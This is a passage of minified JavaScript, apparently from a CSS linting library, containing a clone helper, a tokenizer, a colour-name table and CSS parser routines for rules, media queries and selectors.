Object.prototype.toString.call(e)}function clone(e,t,n,r){function u(e,n){if(e===null)return null;if(n==0)return e;var a;if(typeof e!=\"object\")return e;if(util.isArray(e))a=[];else if(util.isRegExp(e))a=new RegExp(e.source,util.getRegExpFlags(e)),e.lastIndex&&(a.lastIndex=e.lastIndex);else if(util.isDate(e))a=new Date(e.getTime());else{if(o&&Buffer.isBuffer(e))return a=new Buffer(e.length),e.copy(a),a;typeof r==\"undefined\"?a=Object.create(Object.getPrototypeOf(e)):a=Object.create(r)}if(t){var f=i.indexOf(e);if(f!=-1)return s[f];i.push(e),s.push(a)}for(var l in e)a[l]=u(e[l],n-1);return a}var i=[],s=[],o=typeof Buffer!=\"undefined\";return typeof t==\"undefined\"&&(t=!0),typeof n==\"undefined\"&&(n=Infinity),u(e,n)}function Reporter(e,t){this.messages=[],this.stats=[],this.lines=e,this.ruleset=t}var parserlib={};(function(){function e(){this._listeners={}}function t(e){this._input=e.replace(/\\n\\r?/g,\"\\n\"),this._line=1,this._col=1,this._cursor=0}function n(e,t,n){this.col=n,this.line=t,this.message=e}function r(e,t,n,r){this.col=n,this.line=t,this.text=e,this.type=r}function i(e,n){this._reader=e?new t(e.toString()):null,this._token=null,this._tokenData=n,this._lt=[],this._ltIndex=0,this._ltIndexCache=[]}e.prototype={constructor:e,addListener:function(e,t){this._listeners[e]||(this._listeners[e]=[]),this._listeners[e].push(t)},fire:function(e){typeof e==\"string\"&&(e={type:e}),typeof e.target!=\"undefined\"&&(e.target=this);if(typeof e.type==\"undefined\")throw new Error(\"Event object missing 'type' property.\");if(this._listeners[e.type]){var t=this._listeners[e.type].concat();for(var n=0,r=t.length;n<r;n++)t[n].call(this,e)}},removeListener:function(e,t){if(this._listeners[e]){var n=this._listeners[e];for(var r=0,i=n.length;r<i;r++)if(n[r]===t){n.splice(r,1);break}}}},t.prototype={constructor:t,getCol:function(){return this._col},getLine:function(){return this._line},eof:function(){return this._cursor==this._input.length},peek:function(e){var t=null;return e=typeof e==\"undefined\"?1:e,this._cursor<this._input.length&&(t=this._input.charAt(this._cursor+e-1)),t},read:function(){var e=null;return this._cursor<this._input.length&&(this._input.charAt(this._cursor)==\"\\n\"?(this._line++,this._col=1):this._col++,e=this._input.charAt(this._cursor++)),e},mark:function(){this._bookmark={cursor:this._cursor,line:this._line,col:this._col}},reset:function(){this._bookmark&&(this._cursor=this._bookmark.cursor,this._line=this._bookmark.line,this._col=this._bookmark.col,delete this._bookmark)},readTo:function(e){var t=\"\",n;while(t.length<e.length||t.lastIndexOf(e)!=t.length-e.length){n=this.read();if(!n)throw new Error('Expected \"'+e+'\" at line '+this._line+\", col \"+this._col+\".\");t+=n}return t},readWhile:function(e){var t=\"\",n=this.read();while(n!==null&&e(n))t+=n,n=this.read();return t},readMatch:function(e){var t=this._input.substring(this._cursor),n=null;return typeof e==\"string\"?t.indexOf(e)===0&&(n=this.readCount(e.length)):e instanceof RegExp&&e.test(t)&&(n=this.readCount(RegExp.lastMatch.length)),n},readCount:function(e){var t=\"\";while(e--)t+=this.read();return t}},n.prototype=new Error,r.fromToken=function(e){return new r(e.value,e.startLine,e.startCol)},r.prototype={constructor:r,valueOf:function(){return this.text},toString:function(){return this.text}},i.createTokenData=function(e){var t=[],n={},r=e.concat([]),i=0,s=r.length+1;r.UNKNOWN=-1,r.unshift({name:\"EOF\"});for(;i<s;i++)t.push(r[i].name),r[r[i].name]=i,r[i].text&&(n[r[i].text]=i);return r.name=function(e){return t[e]},r.type=function(e){return n[e]},r},i.prototype={constructor:i,match:function(e,t){e instanceof Array||(e=[e]);var n=this.get(t),r=0,i=e.length;while(r<i)if(n==e[r++])return!0;return this.unget(),!1},mustMatch:function(e,t){var r;e instanceof Array||(e=[e]);if(!this.match.apply(this,arguments))throw r=this.LT(1),new n(\"Expected \"+this._tokenData[e[0]].name+\" at line \"+r.startLine+\", col \"+r.startCol+\".\",r.startLine,r.startCol)},advance:function(e,t){while(this.LA(0)!==0&&!this.match(e,t))this.get();return this.LA(0)},get:function(e){var t=this._tokenData,n=this._reader,r,i=0,s=t.length,o=!1,u,a;if(this._lt.length&&this._ltIndex>=0&&this._ltIndex<this._lt.length){i++,this._token=this._lt[this._ltIndex++],a=t[this._token.type];while(a.channel!==undefined&&e!==a.channel&&this._ltIndex<this._lt.length)this._token=this._lt[this._ltIndex++],a=t[this._token.type],i++;if((a.channel===undefined||e===a.channel)&&this._ltIndex<=this._lt.length)return this._ltIndexCache.push(i),this._token.type}return u=this._getToken(),u.type>-1&&!t[u.type].hide&&(u.channel=t[u.type].channel,this._token=u,this._lt.push(u),this._ltIndexCache.push(this._lt.length-this._ltIndex+i),this._lt.length>5&&this._lt.shift(),this._ltIndexCache.length>5&&this._ltIndexCache.shift(),this._ltIndex=this._lt.length),a=t[u.type],a&&(a.hide||a.channel!==undefined&&e!==a.channel)?this.get(e):u.type},LA:function(e){var t=e,n;if(e>0){if(e>5)throw new Error(\"Too much lookahead.\");while(t)n=this.get(),t--;while(t<e)this.unget(),t++}else if(e<0){if(!this._lt[this._ltIndex+e])throw new Error(\"Too much lookbehind.\");n=this._lt[this._ltIndex+e].type}else n=this._token.type;return n},LT:function(e){return this.LA(e),this._lt[this._ltIndex+e-1]},peek:function(){return this.LA(1)},token:function(){return this._token},tokenName:function(e){return e<0||e>this._tokenData.length?\"UNKNOWN_TOKEN\":this._tokenData[e].name},tokenType:function(e){return this._tokenData[e]||-1},unget:function(){if(!this._ltIndexCache.length)throw new Error(\"Too much lookahead.\");this._ltIndex-=this._ltIndexCache.pop(),this._token=this._lt[this._ltIndex-1]}},parserlib.util={StringReader:t,SyntaxError:n,SyntaxUnit:r,EventTarget:e,TokenStreamBase:i}})(),function(){function Combinator(e,t,n){SyntaxUnit.call(this,e,t,n,Parser.COMBINATOR_TYPE),this.type=\"unknown\",/^\\s+$/.test(e)?this.type=\"descendant\":e==\">\"?this.type=\"child\":e==\"+\"?this.type=\"adjacent-sibling\":e==\"~\"&&(this.type=\"sibling\")}function MediaFeature(e,t){SyntaxUnit.call(this,\"(\"+e+(t!==null?\":\"+t:\"\")+\")\",e.startLine,e.startCol,Parser.MEDIA_FEATURE_TYPE),this.name=e,this.value=t}function MediaQuery(e,t,n,r,i){SyntaxUnit.call(this,(e?e+\" \":\"\")+(t?t:\"\")+(t&&n.length>0?\" and \":\"\")+n.join(\" and \"),r,i,Parser.MEDIA_QUERY_TYPE),this.modifier=e,this.mediaType=t,this.features=n}function Parser(e){EventTarget.call(this),this.options=e||{},this._tokenStream=null}function PropertyName(e,t,n,r){SyntaxUnit.call(this,e,n,r,Parser.PROPERTY_NAME_TYPE),this.hack=t}function PropertyValue(e,t,n){SyntaxUnit.call(this,e.join(\" \"),t,n,Parser.PROPERTY_VALUE_TYPE),this.parts=e}function PropertyValueIterator(e){this._i=0,this._parts=e.parts,this._marks=[],this.value=e}function PropertyValuePart(text,line,col){SyntaxUnit.call(this,text,line,col,Parser.PROPERTY_VALUE_PART_TYPE),this.type=\"unknown\";var temp;if(/^([+\\-]?[\\d\\.]+)([a-z]+)$/i.test(text)){this.type=\"dimension\",this.value=+RegExp.$1,this.units=RegExp.$2;switch(this.units.toLowerCase()){case\"em\":case\"rem\":case\"ex\":case\"px\":case\"cm\":case\"mm\":case\"in\":case\"pt\":case\"pc\":case\"ch\":case\"vh\":case\"vw\":case\"vmax\":case\"vmin\":this.type=\"length\";break;case\"deg\":case\"rad\":case\"grad\":this.type=\"angle\";break;case\"ms\":case\"s\":this.type=\"time\";break;case\"hz\":case\"khz\":this.type=\"frequency\";break;case\"dpi\":case\"dpcm\":this.type=\"resolution\"}}else/^([+\\-]?[\\d\\.]+)%$/i.test(text)?(this.type=\"percentage\",this.value=+RegExp.$1):/^([+\\-]?\\d+)$/i.test(text)?(this.type=\"integer\",this.value=+RegExp.$1):/^([+\\-]?[\\d\\.]+)$/i.test(text)?(this.type=\"number\",this.value=+RegExp.$1):/^#([a-f0-9]{3,6})/i.test(text)?(this.type=\"color\",temp=RegExp.$1,temp.length==3?(this.red=parseInt(temp.charAt(0)+temp.charAt(0),16),this.green=parseInt(temp.charAt(1)+temp.charAt(1),16),this.blue=parseInt(temp.charAt(2)+temp.charAt(2),16)):(this.red=parseInt(temp.substring(0,2),16),this.green=parseInt(temp.substring(2,4),16),this.blue=parseInt(temp.substring(4,6),16))):/^rgb\\(\\s*(\\d+)\\s*,\\s*(\\d+)\\s*,\\s*(\\d+)\\s*\\)/i.test(text)?(this.type=\"color\",this.red=+RegExp.$1,this.green=+RegExp.$2,this.blue=+RegExp.$3):/^rgb\\(\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*\\)/i.test(text)?(this.type=\"color\",this.red=+RegExp.$1*255/100,this.green=+RegExp.$2*255/100,this.blue=+RegExp.$3*255/100):/^rgba\\(\\s*(\\d+)\\s*,\\s*(\\d+)\\s*,\\s*(\\d+)\\s*,\\s*([\\d\\.]+)\\s*\\)/i.test(text)?(this.type=\"color\",this.red=+RegExp.$1,this.green=+RegExp.$2,this.blue=+RegExp.$3,this.alpha=+RegExp.$4):/^rgba\\(\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*,\\s*([\\d\\.]+)\\s*\\)/i.test(text)?(this.type=\"color\",this.red=+RegExp.$1*255/100,this.green=+RegExp.$2*255/100,this.blue=+RegExp.$3*255/100,this.alpha=+RegExp.$4):/^hsl\\(\\s*(\\d+)\\s*,\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*\\)/i.test(text)?(this.type=\"color\",this.hue=+RegExp.$1,this.saturation=+RegExp.$2/100,this.lightness=+RegExp.$3/100):/^hsla\\(\\s*(\\d+)\\s*,\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*,\\s*([\\d\\.]+)\\s*\\)/i.test(text)?(this.type=\"color\",this.hue=+RegExp.$1,this.saturation=+RegExp.$2/100,this.lightness=+RegExp.$3/100,this.alpha=+RegExp.$4):/^url\\([\"']?([^\\)\"']+)[\"']?\\)/i.test(text)?(this.type=\"uri\",this.uri=RegExp.$1):/^([^\\(]+)\\(/i.test(text)?(this.type=\"function\",this.name=RegExp.$1,this.value=text):/^[\"'][^\"']*[\"']/.test(text)?(this.type=\"string\",this.value=eval(text)):Colors[text.toLowerCase()]?(this.type=\"color\",temp=Colors[text.toLowerCase()].substring(1),this.red=parseInt(temp.substring(0,2),16),this.green=parseInt(temp.substring(2,4),16),this.blue=parseInt(temp.substring(4,6),16)):/^[\\,\\/]$/.test(text)?(this.type=\"operator\",this.value=text):/^[a-z\\-_\\u0080-\\uFFFF][a-z0-9\\-_\\u0080-\\uFFFF]*$/i.test(text)&&(this.type=\"identifier\",this.value=text)}function Selector(e,t,n){SyntaxUnit.call(this,e.join(\" \"),t,n,Parser.SELECTOR_TYPE),this.parts=e,this.specificity=Specificity.calculate(this)}function SelectorPart(e,t,n,r,i){SyntaxUnit.call(this,n,r,i,Parser.SELECTOR_PART_TYPE),this.elementName=e,this.modifiers=t}function SelectorSubPart(e,t,n,r){SyntaxUnit.call(this,e,n,r,Parser.SELECTOR_SUB_PART_TYPE),this.type=t,this.args=[]}function Specificity(e,t,n,r){this.a=e,this.b=t,this.c=n,this.d=r}function isHexDigit(e){return e!==null&&h.test(e)}function isDigit(e){return e!==null&&/\\d/.test(e)}function isWhitespace(e){return e!==null&&/\\s/.test(e)}function isNewLine(e){return e!==null&&nl.test(e)}function isNameStart(e){return e!==null&&/[a-z_\\u0080-\\uFFFF\\\\]/i.test(e)}function isNameChar(e){return e!==null&&(isNameStart(e)||/[0-9\\-\\\\]/.test(e))}function isIdentStart(e){return e!==null&&(isNameStart(e)||/\\-\\\\/.test(e))}function mix(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return e}function TokenStream(e){TokenStreamBase.call(this,e,Tokens)}function ValidationError(e,t,n){this.col=n,this.line=t,this.message=e}var EventTarget=parserlib.util.EventTarget,TokenStreamBase=parserlib.util.TokenStreamBase,StringReader=parserlib.util.StringReader,SyntaxError=parserlib.util.SyntaxError,SyntaxUnit=parserlib.util.SyntaxUnit,Colors={aliceblue:\"#f0f8ff\",antiquewhite:\"#faebd7\",aqua:\"#00ffff\",aquamarine:\"#7fffd4\",azure:\"#f0ffff\",beige:\"#f5f5dc\",bisque:\"#ffe4c4\",black:\"#000000\",blanchedalmond:\"#ffebcd\",blue:\"#0000ff\",blueviolet:\"#8a2be2\",brown:\"#a52a2a\",burlywood:\"#deb887\",cadetblue:\"#5f9ea0\",chartreuse:\"#7fff00\",chocolate:\"#d2691e\",coral:\"#ff7f50\",cornflowerblue:\"#6495ed\",cornsilk:\"#fff8dc\",crimson:\"#dc143c\",cyan:\"#00ffff\",darkblue:\"#00008b\",darkcyan:\"#008b8b\",darkgoldenrod:\"#b8860b\",darkgray:\"#a9a9a9\",darkgrey:\"#a9a9a9\",darkgreen:\"#006400\",darkkhaki:\"#bdb76b\",darkmagenta:\"#8b008b\",darkolivegreen:\"#556b2f\",darkorange:\"#ff8c00\",darkorchid:\"#9932cc\",darkred:\"#8b0000\",darksalmon:\"#e9967a\",darkseagreen:\"#8fbc8f\",darkslateblue:\"#483d8b\",darkslategray:\"#2f4f4f\",darkslategrey:\"#2f4f4f\",darkturquoise:\"#00ced1\",darkviolet:\"#9400d3\",deeppink:\"#ff1493\",deepskyblue:\"#00bfff\",dimgray:\"#696969\",dimgrey:\"#696969\",dodgerblue:\"#1e90ff\",firebrick:\"#b22222\",floralwhite:\"#fffaf0\",forestgreen:\"#228b22\",fuchsia:\"#ff00ff\",gainsboro:\"#dcdcdc\",ghostwhite:\"#f8f8ff\",gold:\"#ffd700\",goldenrod:\"#daa520\",gray:\"#808080\",grey:\"#808080\",green:\"#008000\",greenyellow:\"#adff2f\",honeydew:\"#f0fff0\",hotpink:\"#ff69b4\",indianred:\"#cd5c5c\",indigo:\"#4b0082\",ivory:\"#fffff0\",khaki:\"#f0e68c\",lavender:\"#e6e6fa\",lavenderblush:\"#fff0f5\",lawngreen:\"#7cfc00\",lemonchiffon:\"#fffacd\",lightblue:\"#add8e6\",lightcoral:\"#f08080\",lightcyan:\"#e0ffff\",lightgoldenrodyellow:\"#fafad2\",lightgray:\"#d3d3d3\",lightgrey:\"#d3d3d3\",lightgreen:\"#90ee90\",lightpink:\"#ffb6c1\",lightsalmon:\"#ffa07a\",lightseagreen:\"#20b2aa\",lightskyblue:\"#87cefa\",lightslategray:\"#778899\",lightslategrey:\"#778899\",lightsteelblue:\"#b0c4de\",lightyellow:\"#ffffe0\",lime:\"#00ff00\",limegreen:\"#32cd32\",linen:\"#faf0e6\",magenta:\"#ff00ff\",maroon:\"#800000\",mediumaquamarine:\"#66cdaa\",mediumblue:\"#0000cd\",mediumorchid:\"#ba55d3\",mediumpurple:\"#9370d8\",mediumseagreen:\"#3cb371\",mediumslateblue:\"#7b68ee\",mediumspringgreen:\"#00fa9a\",mediumturquoise:\"#48d1cc\",mediumvioletred:\"#c71585\",midnightblue:\"#191970\",mintcream:\"#f5fffa\",mistyrose:\"#ffe4e1\",moccasin:\"#ffe4b5\",navajowhite:\"#ffdead\",navy:\"#000080\",oldlace:\"#fdf5e6\",olive:\"#808000\",olivedrab:\"#6b8e23\",orange:\"#ffa500\",orangered:\"#ff4500\",orchid:\"#da70d6\",palegoldenrod:\"#eee8aa\",palegreen:\"#98fb98\",paleturquoise:\"#afeeee\",palevioletred:\"#d87093\",papayawhip:\"#ffefd5\",peachpuff:\"#ffdab9\",peru:\"#cd853f\",pink:\"#ffc0cb\",plum:\"#dda0dd\",powderblue:\"#b0e0e6\",purple:\"#800080\",red:\"#ff0000\",rosybrown:\"#bc8f8f\",royalblue:\"#4169e1\",saddlebrown:\"#8b4513\",salmon:\"#fa8072\",sandybrown:\"#f4a460\",seagreen:\"#2e8b57\",seashell:\"#fff5ee\",sienna:\"#a0522d\",silver:\"#c0c0c0\",skyblue:\"#87ceeb\",slateblue:\"#6a5acd\",slategray:\"#708090\",slategrey:\"#708090\",snow:\"#fffafa\",springgreen:\"#00ff7f\",steelblue:\"#4682b4\",tan:\"#d2b48c\",teal:\"#008080\",thistle:\"#d8bfd8\",tomato:\"#ff6347\",turquoise:\"#40e0d0\",violet:\"#ee82ee\",wheat:\"#f5deb3\",white:\"#ffffff\",whitesmoke:\"#f5f5f5\",yellow:\"#ffff00\",yellowgreen:\"#9acd32\",activeBorder:\"Active window border.\",activecaption:\"Active window caption.\",appworkspace:\"Background color of multiple document interface.\",background:\"Desktop background.\",buttonface:\"The face background color for 3-D elements that appear 3-D due to one layer of surrounding border.\",buttonhighlight:\"The color of the border facing the light source for 3-D elements that appear 3-D due to one layer of surrounding border.\",buttonshadow:\"The color of the border away from the light source for 3-D elements that appear 3-D due to one layer of surrounding border.\",buttontext:\"Text on push buttons.\",captiontext:\"Text in caption, size box, and scrollbar arrow box.\",graytext:\"Grayed (disabled) text. This color is set to #000 if the current display driver does not support a solid gray color.\",greytext:\"Greyed (disabled) text. This color is set to #000 if the current display driver does not support a solid grey color.\",highlight:\"Item(s) selected in a control.\",highlighttext:\"Text of item(s) selected in a control.\",inactiveborder:\"Inactive window border.\",inactivecaption:\"Inactive window caption.\",inactivecaptiontext:\"Color of text in an inactive caption.\",infobackground:\"Background color for tooltip controls.\",infotext:\"Text color for tooltip controls.\",menu:\"Menu background.\",menutext:\"Text in menus.\",scrollbar:\"Scroll bar gray area.\",threeddarkshadow:\"The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\",threedface:\"The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\",threedhighlight:\"The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\",threedlightshadow:\"The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\",threedshadow:\"The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\",window:\"Window background.\",windowframe:\"Window frame.\",windowtext:\"Text in windows.\"};Combinator.prototype=new SyntaxUnit,Combinator.prototype.constructor=Combinator,MediaFeature.prototype=new SyntaxUnit,MediaFeature.prototype.constructor=MediaFeature,MediaQuery.prototype=new SyntaxUnit,MediaQuery.prototype.constructor=MediaQuery,Parser.DEFAULT_TYPE=0,Parser.COMBINATOR_TYPE=1,Parser.MEDIA_FEATURE_TYPE=2,Parser.MEDIA_QUERY_TYPE=3,Parser.PROPERTY_NAME_TYPE=4,Parser.PROPERTY_VALUE_TYPE=5,Parser.PROPERTY_VALUE_PART_TYPE=6,Parser.SELECTOR_TYPE=7,Parser.SELECTOR_PART_TYPE=8,Parser.SELECTOR_SUB_PART_TYPE=9,Parser.prototype=function(){var e=new EventTarget,t,n={constructor:Parser,DEFAULT_TYPE:0,COMBINATOR_TYPE:1,MEDIA_FEATURE_TYPE:2,MEDIA_QUERY_TYPE:3,PROPERTY_NAME_TYPE:4,PROPERTY_VALUE_TYPE:5,PROPERTY_VALUE_PART_TYPE:6,SELECTOR_TYPE:7,SELECTOR_PART_TYPE:8,SELECTOR_SUB_PART_TYPE:9,_stylesheet:function(){var e=this._tokenStream,t=null,n,r,i;this.fire(\"startstylesheet\"),this._charset(),this._skipCruft();while(e.peek()==Tokens.IMPORT_SYM)this._import(),this._skipCruft();while(e.peek()==Tokens.NAMESPACE_SYM)this._namespace(),this._skipCruft();i=e.peek();while(i>Tokens.EOF){try{switch(i){case Tokens.MEDIA_SYM:this._media(),this._skipCruft();break;case Tokens.PAGE_SYM:this._page(),this._skipCruft();break;case Tokens.FONT_FACE_SYM:this._font_face(),this._skipCruft();break;case Tokens.KEYFRAMES_SYM:this._keyframes(),this._skipCruft();break;case Tokens.VIEWPORT_SYM:this._viewport(),this._skipCruft();break;case Tokens.UNKNOWN_SYM:e.get();if(!!this.options.strict)throw new SyntaxError(\"Unknown @ rule.\",e.LT(0).startLine,e.LT(0).startCol);this.fire({type:\"error\",error:null,message:\"Unknown @ rule: \"+e.LT(0).value+\".\",line:e.LT(0).startLine,col:e.LT(0).startCol}),n=0;while(e.advance([Tokens.LBRACE,Tokens.RBRACE])==Tokens.LBRACE)n++;while(n)e.advance([Tokens.RBRACE]),n--;break;case Tokens.S:this._readWhitespace();break;default:if(!this._ruleset())switch(i){case Tokens.CHARSET_SYM:throw r=e.LT(1),this._charset(!1),new SyntaxError(\"@charset not allowed here.\",r.startLine,r.startCol);case Tokens.IMPORT_SYM:throw r=e.LT(1),this._import(!1),new SyntaxError(\"@import not allowed here.\",r.startLine,r.startCol);case Tokens.NAMESPACE_SYM:throw r=e.LT(1),this._namespace(!1),new SyntaxError(\"@namespace not allowed here.\",r.startLine,r.startCol);default:e.get(),this._unexpectedToken(e.token())}}}catch(s){if(!(s instanceof SyntaxError&&!this.options.strict))throw s;this.fire({type:\"error\",error:s,message:s.message,line:s.line,col:s.col})}i=e.peek()}i!=Tokens.EOF&&this._unexpectedToken(e.token()),this.fire(\"endstylesheet\")},_charset:function(e){var t=this._tokenStream,n,r,i,s;t.match(Tokens.CHARSET_SYM)&&(i=t.token().startLine,s=t.token().startCol,this._readWhitespace(),t.mustMatch(Tokens.STRING),r=t.token(),n=r.value,this._readWhitespace(),t.mustMatch(Tokens.SEMICOLON),e!==!1&&this.fire({type:\"charset\",charset:n,line:i,col:s}))},_import:function(e){var t=this._tokenStream,n,r,i,s=[];t.mustMatch(Tokens.IMPORT_SYM),i=t.token(),this._readWhitespace(),t.mustMatch([Tokens.STRING,Tokens.URI]),r=t.token().value.replace(/^(?:url\\()?[\"']?([^\"']+?)[\"']?\\)?$/,\"$1\"),this._readWhitespace(),s=this._media_query_list(),t.mustMatch(Tokens.SEMICOLON),this._readWhitespace(),e!==!1&&this.fire({type:\"import\",uri:r,media:s,line:i.startLine,col:i.startCol})},_namespace:function(e){var t=this._tokenStream,n,r,i,s;t.mustMatch(Tokens.NAMESPACE_SYM),n=t.token().startLine,r=t.token().startCol,this._readWhitespace(),t.match(Tokens.IDENT)&&(i=t.token().value,this._readWhitespace()),t.mustMatch([Tokens.STRING,Tokens.URI]),s=t.token().value.replace(/(?:url\\()?[\"']([^\"']+)[\"']\\)?/,\"$1\"),this._readWhitespace(),t.mustMatch(Tokens.SEMICOLON),this._readWhitespace(),e!==!1&&this.fire({type:\"namespace\",prefix:i,uri:s,line:n,col:r})},_media:function(){var e=this._tokenStream,t,n,r;e.mustMatch(Tokens.MEDIA_SYM),t=e.token().startLine,n=e.token().startCol,this._readWhitespace(),r=this._media_query_list(),e.mustMatch(Tokens.LBRACE),this._readWhitespace(),this.fire({type:\"startmedia\",media:r,line:t,col:n});for(;;)if(e.peek()==Tokens.PAGE_SYM)this._page();else if(e.peek()==Tokens.FONT_FACE_SYM)this._font_face();else if(e.peek()==Tokens.VIEWPORT_SYM)this._viewport();else if(!this._ruleset())break;e.mustMatch(Tokens.RBRACE),this._readWhitespace(),this.fire({type:\"endmedia\",media:r,line:t,col:n})},_media_query_list:function(){var e=this._tokenStream,t=[];this._readWhitespace(),(e.peek()==Tokens.IDENT||e.peek()==Tokens.LPAREN)&&t.push(this._media_query());while(e.match(Tokens.COMMA))this._readWhitespace(),t.push(this._media_query());return t},_media_query:function(){var e=this._tokenStream,t=null,n=null,r=null,i=[];e.match(Tokens.IDENT)&&(n=e.token().value.toLowerCase(),n!=\"only\"&&n!=\"not\"?(e.unget(),n=null):r=e.token()),this._readWhitespace(),e.peek()==Tokens.IDENT?(t=this._media_type(),r===null&&(r=e.token())):e.peek()==Tokens.LPAREN&&(r===null&&(r=e.LT(1)),i.push(this._media_expression()));if(t===null&&i.length===0)return null;this._readWhitespace();while(e.match(Tokens.IDENT))e.token().value.toLowerCase()!=\"and\"&&this._unexpectedToken(e.token()),this._readWhitespace(),i.push(this._media_expression());return new MediaQuery(n,t,i,r.startLine,r.startCol)},_media_type:function(){return this._media_feature()},_media_expression:function(){var e=this._tokenStream,t=null,n,r=null;return e.mustMatch(Tokens.LPAREN),t=this._media_feature(),this._readWhitespace(),e.match(Tokens.COLON)&&(this._readWhitespace(),n=e.LT(1),r=this._expression()),e.mustMatch(Tokens.RPAREN),this._readWhitespace(),new MediaFeature(t,r?new SyntaxUnit(r,n.startLine,n.startCol):null)},_media_feature:function(){var e=this._tokenStream;return e.mustMatch(Tokens.IDENT),SyntaxUnit.fromToken(e.token())},_page:function(){var e=this._tokenStream,t,n,r=null,i=null;e.mustMatch(Tokens.PAGE_SYM),t=e.token().startLine,n=e.token().startCol,this._readWhitespace(),e.match(Tokens.IDENT)&&(r=e.token().value,r.toLowerCase()===\"auto\"&&this._unexpectedToken(e.token())),e.peek()==Tokens.COLON&&(i=this._pseudo_page()),this._readWhitespace(),this.fire({type:\"startpage\",id:r,pseudo:i,line:t,col:n}),this._readDeclarations(!0,!0),this.fire({type:\"endpage\",id:r,pseudo:i,line:t,col:n})},_margin:function(){var e=this._tokenStream,t,n,r=this._margin_sym();return r?(t=e.token().startLine,n=e.token().startCol,this.fire({type:\"startpagemargin\",margin:r,line:t,col:n}),this._readDeclarations(!0),this.fire({type:\"endpagemargin\",margin:r,line:t,col:n}),!0):!1},_margin_sym:function(){var e=this._tokenStream;return e.match([Tokens.TOPLEFTCORNER_SYM,Tokens.TOPLEFT_SYM,Tokens.TOPCENTER_SYM,Tokens.TOPRIGHT_SYM,Tokens.TOPRIGHTCORNER_SYM,Tokens.BOTTOMLEFTCORNER_SYM,Tokens.BOTTOMLEFT_SYM,Tokens.BOTTOMCENTER_SYM,Tokens.BOTTOMRIGHT_SYM,Tokens.BOTTOMRIGHTCORNER_SYM,Tokens.LEFTTOP_SYM,Tokens.LEFTMIDDLE_SYM,Tokens.LEFTBOTTOM_SYM,Tokens.RIGHTTOP_SYM,Tokens.RIGHTMIDDLE_SYM,Tokens.RIGHTBOTTOM_SYM])?SyntaxUnit.fromToken(e.token()):null},_pseudo_page:function(){var e=this._tokenStream;return e.mustMatch(Tokens.COLON),e.mustMatch(Tokens.IDENT),e.token().value},_font_face:function(){var e=this._tokenStream,t,n;e.mustMatch(Tokens.FONT_FACE_SYM),t=e.token().startLine,n=e.token().startCol,this._readWhitespace(),this.fire({type:\"startfontface\",line:t,col:n}),this._readDeclarations(!0),this.fire({type:\"endfontface\",line:t,col:n})},_viewport:function(){var e=this._tokenStream,t,n;e.mustMatch(Tokens.VIEWPORT_SYM),t=e.token().startLine,n=e.token().startCol,this._readWhitespace(),this.fire({type:\"startviewport\",line:t,col:n}),this._readDeclarations(!0),this.fire({type:\"endviewport\",line:t,col:n})},_operator:function(e){var t=this._tokenStream,n=null;if(t.match([Tokens.SLASH,Tokens.COMMA])||e&&t.match([Tokens.PLUS,Tokens.STAR,Tokens.MINUS]))n=t.token(),this._readWhitespace();return n?PropertyValuePart.fromToken(n):null},_combinator:function(){var e=this._tokenStream,t=null,n;return e.match([Tokens.PLUS,Tokens.GREATER,Tokens.TILDE])&&(n=e.token(),t=new Combinator(n.value,n.startLine,n.startCol),this._readWhitespace()),t},_unary_operator:function(){var e=this._tokenStream;return e.match([Tokens.MINUS,Tokens.PLUS])?e.token().value:null},_property:function(){var e=this._tokenStream,t=null,n=null,r,i,s,o;return e.peek()==Tokens.STAR&&this.options.starHack&&(e.get(),i=e.token(),n=i.value,s=i.startLine,o=i.startCol),e.match(Tokens.IDENT)&&(i=e.token(),r=i.value,r.charAt(0)==\"_\"&&this.options.underscoreHack&&(n=\"_\",r=r.substring(1)),t=new PropertyName(r,n,s||i.startLine,o||i.startCol),this._readWhitespace()),t},_ruleset:function(){var e=this._tokenStream,t,n;try{n=this._selectors_group()}catch(r){if(r instanceof SyntaxError&&!this.options.strict){this.fire({type:\"error\",error:r,message:r.message,line:r.line,col:r.col}),t=e.advance([Tokens.RBRACE]);if(t!=Tokens.RBRACE)throw r;return!0}throw r}return n&&(this.fire({type:\"startrule\",selectors:n,line:n[0].line,col:n[0].col}),this._readDeclarations(!0),this.fire({type:\"endrule\",selectors:n,line:n[0].line,col:n[0].col})),n},_selectors_group:function(){var e=this._tokenStream,t=[],n;n=this._selector();if(n!==null){t.push(n);while(e.match(Tokens.COMMA))this._readWhitespace(),n=this._selector(),n!==null?t.push(n):this._unexpectedToken(e.LT(1))}return t.length?t:null},_selector:function(){var e=this._tokenStream,t=[],n=null,r=null,i=null;n=this._simple_selector_sequence();if(n===null)return null;t.push(n);do{r=this._combinator();if(r!==null)t.push(r),n=this._simple_selector_sequence(),n===null?this._unexpectedToken(e.LT(1)):t.push(n);else{if(!this._readWhitespace())break;i=new Combinator(e.token().value,e.token().startLine,e.token().startCol),r=this._combinator(),n=this._simple_selector_sequence(),n===null?r!==null&&this._unexpectedToken(e.LT(1)):(r!==null?t.push(r):t.push(i),t.push(n))}}while(!0);return new Selector(t,t[0].line,t[0].col)},_simple_selector_sequence:function(){var e=this._tokenStream,t=null,n=[],r=\"\",i=[function(){return e.match(Tokens.HASH)?new SelectorSubPart(e.token().value,\"id\",e.token().startLine,e.token().startCol):null},this._class,this._attrib,this._pseudo,this._negation],s=0,o=i.length,u=null,a=!1,f,l;f=e.LT(1).startLine,l=e.LT(1).startCol,t=this._type_selector(),t||(t=this._universal()),t!==null&&(r+=t);for(;;){if(e.peek()===Tokens.S)break;while(s<o&&u===null)u=i[s++].call(this);if(u===null){if(r===\"\")return null;break}s=0,n.push(u),r+=u.toString(),u=null}return r!==\"\"?new SelectorPart(t,n,r,f,l):null},_type_selector:function(){var e=this._tokenStream,t=this._namespace_prefix(),n=this._element_name();return 